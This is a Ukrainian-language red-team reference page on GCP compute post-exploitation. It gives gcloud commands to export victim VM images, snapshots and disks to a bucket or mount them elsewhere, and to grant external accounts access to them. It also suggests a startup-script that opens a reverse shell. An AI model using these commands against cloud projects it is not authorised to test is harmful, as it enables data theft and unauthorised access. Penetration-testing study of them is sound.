GCP - Compute Post Exploitation

GCP - Післяексплуатаційна обробка обчислень

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Обчислення

Для отримання додаткової інформації про Обчислення та VPC (Мережування) перегляньте:

pageGCP - Compute Enum

Експорт та Інспекція зображень локально

Це дозволить зловмиснику отримати доступ до даних, що містяться вже в існуючих зображеннях або створити нові зображення запущених ВМ та отримати доступ до їх даних без доступу до запущеної ВМ.

Можливо експортувати зображення ВМ до відра та потім завантажити його та підключити локально за допомогою команди:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Перед виконанням цієї дії зловмиснику може знадобитися привілеї над сховищем та безумовно привілеї над cloudbuild, оскільки саме цей сервіс буде запитаний для виконання експорту. Крім того, для успішної роботи потрібно, щоб у кодбілд SA та у обчислювальному SA були привілеї. SA cloudbuild <project-id>@cloudbuild.gserviceaccount.com потребує:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

А SA <project-id>-compute@developer.gserviceaccount.com потребує:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Експорт та перегляд снапшотів та дисків локально

Прямий експорт снапшотів та дисків неможливий, але можливо перетворити снапшот у диск, диск у зображення і, виконавши попередній розділ, експортувати це зображення для подальшого перегляду локально

```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

### Огляд зображення при створенні віртуальної машини

З метою доступу до **даних, збережених у зображенні** або всередині **запущеної віртуальної машини**, з якої **зловмисник створив зображення**, можна надати зовнішньому обліковому запису доступ до зображення:
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

і потім створіть нову віртуальну машину з неї:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Якщо ви не можете надати доступ до свого зовнішнього облікового запису через зображення, ви можете запустити віртуальну машину, використовуючи це зображення в проекті жертви та зробити метадані виконати зворотний shell для доступу до зображення, додавши параметр:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Огляд снапшоту/диска, підключення до віртуальної машини

З метою доступу до даних, збережених на диску або снапшоті, ви можете перетворити снапшот у диск, диск у зображення та виконати попередні кроки.

Або ви можете надати зовнішньому обліковому запису доступ до диска (якщо вихідним пунктом є снапшот, надайте доступ до снапшоту або створіть з нього диск):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Прикріпіть диск до екземпляру:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Підключіть диск всередині віртуальної машини:

  1. SSH в машину:

gcloud compute ssh [ІМ'Я_ЕКЗЕМПЛЯРА] --zone [ЗОНА]
  1. Визначте диск: Після входу в машину, визначте новий диск, перелічуючи пристрої дисків. Зазвичай ви можете знайти його як /dev/sdb, /dev/sdc, тощо.

  2. Форматуйте та підключіть диск (якщо це новий або необроблений диск):

  • Створіть точку монтування:

sudo mkdir -p /mnt/disks/[ТОЧКА_МОНТУВАННЯ]
  • Підключіть диск:

sudo mount -o discard,defaults /dev/[ПРИСТРІЙ_ДИСКУ] /mnt/disks/[ТОЧКА_МОНТУВАННЯ]

Якщо ви не можете надати доступ до зовнішнього проекту до знімка або диска, вам може знадобитися виконати ці дії всередині екземпляра в тому ж проекті, що й знімок/диск.

Last updated